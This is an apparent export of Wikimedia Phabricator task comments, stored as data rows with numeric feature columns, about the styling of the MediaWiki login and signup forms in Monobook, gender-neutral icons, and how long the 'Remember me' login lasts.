However, we could consider using the same colors on Monobook if there is consensus to do so.",,,1367112236,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,1.0,0.0,0.0,1.0,0.0,11.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,15.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,6.0,8.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,1.0,10.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,0.0,1.0,2.0,0.0,0.0,4.375,0.8,"The grey button was implemented under the theory that non-Vector users are likely to prefer a more low-key interface.

The mediawiki.ui module (which implements these buttons) uses a ResourceLoader feature that allows different styles for each skin (which can even be more different than the two options currently are).

However, we could consider using the same colors on Monobook if there is consensus to do so."
229879,User login and signup forms don't look great in Monobook,"**swalling** wrote:

We should improve with the styles regardless (we're tracking in https://trello.com/c/lmY261Rx), especially the button style, but this is not a blocker since the only way to view this version is to force it, or have your wiki set to Monobook as default.",,,1367022550,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,4.0,0.0,5.0,13.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,5.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.690909090909091,0.8181818181818182,"**swalling** wrote:

We should improve with the styles regardless (we're tracking in URL especially the button style, but this is not a blocker since the only way to view this version is to force it, or have your wiki set to Monobook as default."
229875,User login and signup forms don't look great in Monobook,(To be clarify: my comment above is in reference to the grey background. I haven't investigated the button color yet.),,,1366937983,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8076923076923075,0.9230769230769231,(To be clarify: my comment above is in reference to the grey background. I haven't investigated the button color yet.)
229869,User login and signup forms don't look great in Monobook,"The style is applied by Monobook, in skins/monobook/main.css:646. It is specific to #userloginForm and #userlogin, so it should be safe to drop when we make the new form the default.",,,1366937843,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,2.0,0.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,5.0,2.0,8.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.825,0.825,"The style is applied by Monobook, in skins/monobook/main.css:646. It is specific to #userloginForm and #userlogin, so it should be safe to drop when we make the new form the default."
229864,User login and signup forms don't look great in Monobook,"Created attachment 12185
Crude comparison of the ""new"" signup form in Vector vs. Monobook

**Attached**: {F10979}",,,1366936107,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7037037037037037,0.8518518518518519,"Created attachment 12185
Crude comparison of the ""new"" signup form in Vector vs. Monobook

**Attached**: {F10979}"
49696,Use gender neutral icons on sign up and login pages,"**Author:** `Thehelpfulonewiki`

**Description:**
<https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page&useNew=1>. Please can we make the image on the left of the ""contributors this month"" text gender neutral (instead of the male one that it is now)?

The same with <https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page&useNew=1>, the background image behind the ""Don't have an account"" text is not gender neutral.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1366935240,1369777489.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6undaeeeawntrvjytn4b,task_description,resolved,True,c2,1,False,False,True,-18,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,9.0,2.0,11.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,2.0,6.0,3.0,1.0,5.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,3.5454545454545454,0.6022727272727273,"**Author:** CODE

**Description:**
<URL Please can we make the image on the left of the ""contributors this month"" text gender neutral (instead of the male one that it is now)?

The same with <URL the background image behind the ""Don't have an account"" text is not gender neutral.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
229753,Use gender neutral icons on sign up and login pages,"**swalling** wrote:

Okay, with https://gerrit.wikimedia.org/r/#/c/65167/ we've taken a quick stab at this. The icons in both versions are pretty much neuter-looking.",,,1369777489,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6undaeeeawntrvjytn4b,task_subcomment,,True,c2,1,False,,,-14,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.303030303030303,0.8787878787878788,"**swalling** wrote:

Okay, with URL we've taken a quick stab at this. The icons in both versions are pretty much neuter-looking."
229747,Use gender neutral icons on sign up and login pages,"I agree with Steven, its challenging to represent both genders.
Adding a female torso would introduce the new problem around sizing & foreground.
We could possibly fade the opacity of the torso's more so it stands out less.
Would that help at all?",,,1367023806,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-6undaeeeawntrvjytn4b,task_subcomment,,True,c2,1,False,,,-18,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,10.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,4.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,4.0,0.8653846153846154,"I agree with Steven, its challenging to represent both genders.
Adding a female torso would introduce the new problem around sizing & foreground.
We could possibly fade the opacity of the torso's more so it stands out less.
Would that help at all?"
229739,Use gender neutral icons on sign up and login pages,"**swalling** wrote:

These are as close as we're going to get I think, without resorting to cliches. 

The usual alternative, trying to add an explicitly female torso, tends to involve adding pig tails or other ""long hair"" markers to the head. These are culturally pretty biased and I find them to so trite as to be almost offensive. I'm adding Vibha, our resident Interaction Designer, to this bug since Munaf has left the Wikimedia Foundation and she has a woman's perspective to add.",,,1367021261,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6undaeeeawntrvjytn4b,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,5.5,1.5,0.0,0.0,0.0,2.0,1.5,0.0,1.0,0.0,4.0,0.0,5.0,9.5,0.0,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,2.5,10.0,1.0,2.5,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,6.0,9.5,6.5,0.0,1.0,0.0,6.0,0.0,0.0,1.5,1.0,3.0,0.0,0.0,0.0,3.894230769230769,0.7884615384615384,"**swalling** wrote:

These are as close as we're going to get I think, without resorting to cliches. 

The usual alternative, trying to add an explicitly female torso, tends to involve adding pig tails or other ""long hair"" markers to the head. These are culturally pretty biased and I find them to so trite as to be almost offensive. I'm adding Vibha, our resident Interaction Designer, to this bug since Munaf has left the Wikimedia Foundation and she has a woman's perspective to add."
49694,"""Remember me"" on Login interface should state duration","**Author:** `Thehelpfulonewiki`

**Description:**
On <https://en.wikipedia.org/w/index.php?title=Special:UserLogin&useNew=1> next to the check box and the text ""Remember me"" the ""(for a maximum of 30 days)"" is missing. Perhaps we can shorten it to ""(for 30 days)"" or even ""(30 days)"".

--------------------------
**See Also**:
{T62437}",Low,25.0,1366934820,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-a2sr77qzht3ylne4uods,task_description,open,True,c2,1,False,False,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,13.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,4.0,0.0,10.0,0.0,4.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,2.7948717948717947,0.5769230769230769,"**Author:** CODE

**Description:**
On <URL next to the check box and the text ""Remember me"" the ""(for a maximum of 30 days)"" is missing. Perhaps we can shorten it to ""(for 30 days)"" or even ""(30 days)"".

--------------------------
**See Also**:
{T62437}"
2458190,"""Remember me"" on Login interface should state duration",Oops.,,,1731990952,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,585,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Oops.
2458188,"""Remember me"" on Login interface should state duration","No, @Dringsim is right, and MediaWiki.org also has an override :/ The base message in MediaWiki for 'userlogin-remembermypassword' is just ""Keep me logged in"": https://gerrit.wikimedia.org/g/mediawiki/core/+/REL1_43/languages/i18n/en.json#379 (but it takes an unused parameter `$1` that allows displaying the customized time).

Sorry about that, I should have looked more closely. I didn't mean to restart an old discussion.",,,1731990854,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,585,True,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,4.0,1.0,7.0,7.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,12.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,15.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,6.0,3.0,0.0,0.0,6.0,7.0,3.0,0.0,6.0,0.0,6.0,0.0,1.0,4.0,1.0,1.0,1.0,0.0,0.0,4.083333333333333,0.8333333333333334,"No,SCREEN_NAME is right, and MediaWiki.org also has an override :/ The base message in MediaWiki for 'userlogin-remembermypassword' is just ""Keep me logged in"": URL (but it takes an unused parameter CODE that allows displaying the customized time).

Sorry about that, I should have looked more closely. I didn't mean to restart an old discussion."
2458182,"""Remember me"" on Login interface should state duration","No, it's not enwp's custom message: https://www.mediawiki.org/wiki/Special:UserLogin also shows it. Enwp overrode 365 days -> 1 year which is just a minor wording change .",,,1731990115,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,585,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.2903225806451615,0.9032258064516129,"No, it's not enwp's custom message: URL also shows it. Enwp overrode 365 days -> 1 year which is just a minor wording change ."
2458173,"""Remember me"" on Login interface should state duration",">>! In T49694#10334425, @matmarex wrote:
> The duration has been restored at some point, probably long ago, and the login form currently states something like ""Keep me logged in (for up to one year)"".
> {F57719166}

It's enwp's custom message (https://en.wikipedia.org/w/index.php?title=MediaWiki:Userlogin-remembermypassword&oldid=1097518371).",,,1731988908,,PHID-USER-zqgw7fq45yyq5tybsvfe,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,585,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.7142857142857143,"QUOTE
QUOTE
QUOTE

It's enwp's custom message (URL"
2458151,"""Remember me"" on Login interface should state duration","The duration has been restored at some point, probably long ago, and the login form currently states something like ""Keep me logged in (for up to one year)"".
{F57719166}",,,1731982020,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,585,True,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,15.0,3.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.641025641025641,0.9487179487179487,"The duration has been restored at some point, probably long ago, and the login form currently states something like ""Keep me logged in (for up to one year)"".
{F57719166}"
833010,"""Remember me"" on Login interface should state duration",">>! In T49694#3136685, @waldyrious wrote:
> I'm a bit confused by this issue. Judging by its title and description, isn't it the same as T62437? And if so, isn't it resolved already? If not, it probably needs clarification.

I think it's just a relic of the bugzilla import; T62437 was apparently closed as a duplicate, not actually resolved, but that wasn't properly reflected in the status.",,,1490706714,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,186,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,11.0,5.0,11.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.026315789473684,0.868421052631579,"QUOTE
QUOTE

I think it's just a relic of the bugzilla import; T62437 was apparently closed as a duplicate, not actually resolved, but that wasn't properly reflected in the status."
832983,"""Remember me"" on Login interface should state duration","I'm a bit confused by this issue. Judging by its title and description, isn't it the same as T62437? And if so, isn't it resolved already? If not, it probably needs clarification.",,,1490702200,,PHID-USER-uazrhtptdqudzoqfefsc,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,186,True,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,5.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,14.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,5.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,2.0,5.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5238095238095237,0.7857142857142857,"I'm a bit confused by this issue. Judging by its title and description, isn't it the same as T62437? And if so, isn't it resolved already? If not, it probably needs clarification."
712667,"""Remember me"" on Login interface should state duration",">>! In T49694#2558468, @Mattflaschen-WMF wrote:
> That is {T143019}.

Sweet, thank you!",,,1471401198,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,155,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.8888888888888888,"QUOTE
QUOTE

Sweet, thank you!"
712436,"""Remember me"" on Login interface should state duration",">>! In T49694#2551246, @Tgr wrote:
>>>! In T49694#2551236, @MZMcBride wrote:
>> I still think we should at least consider this idea. Do you think a separate task should be filed to focus on this (an auto-extending cookie expiry) specifically?
> 
> Sure.

That is {T143019}.",,,1471378607,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,154,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,44.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9375,0.5625,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is {T143019}."
711236,"""Remember me"" on Login interface should state duration",">>! In T49694#2551246, @Tgr wrote:
>>>! In T49694#2550506, @matmarex wrote:
>> The core default is 180 days.
> 
> Uh... I should probably have checked that first. Don't mind me then :)

The value of `$wgCookieExpiration` has been 180 days since rMW7d7ebfc93a3721eba51c647ae705bdeab9307cb1 from August 2011. Wikimedia switched back to 30 days in rOMWCe28970a768b00e356d40725f174afd9b4abdef1b from March 2013.",,,1471129792,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,28.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,17.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.888888888888889,0.7222222222222222,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The value of CODE has been 180 days since rMW7d7ebfc93a3721eba51c647ae705bdeab9307cb1 from August 2011. Wikimedia switched back to 30 days in rOMWCe28970a768b00e356d40725f174afd9b4abdef1b from March 2013."
711234,"""Remember me"" on Login interface should state duration",">>! In T49694#2550506, @matmarex wrote:
> The core default is 180 days.

Uh... I should probably have checked that first. Don't mind me then :)

>>! In T49694#2551236, @MZMcBride wrote:
> I still think we should at least consider this idea. Do you think a separate task should be filed to focus on this (an auto-extending cookie expiry) specifically?

Sure.",,,1471127991,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.3703703703703702,0.7407407407407407,"QUOTE
QUOTE

Uh... I should probably have checked that first. Don't mind me then :)

QUOTE
QUOTE

Sure."
711229,"""Remember me"" on Login interface should state duration",">>! In T49694#2550035, @Tgr wrote:
> So I don't think any of those arguments are strong enough to overturn consensus.

I'm not sure which consensus you're referring to overturning. The English Wikipedia continues to have ""Keep me logged in (for up to 30 days)"" at <https://en.wikipedia.org/wiki/Special:UserLogin>. I imagine other wikis do as well?

If we removed the checkbox altogether, the duration discussion would become moot.

>>! In T49694#2550035, @Tgr wrote:
> * MediaWiki (or Wikimedia?) will change to indefinite password length, making the duration meaningless - that did not happen and AFAIK is not currently planned to happen

I still think we should at least consider this idea. Do you think a separate task should be filed to focus on this (an auto-extending cookie expiry) specifically?

> * Wikimedia is about to increase password length to 1 year (T68699) [...]

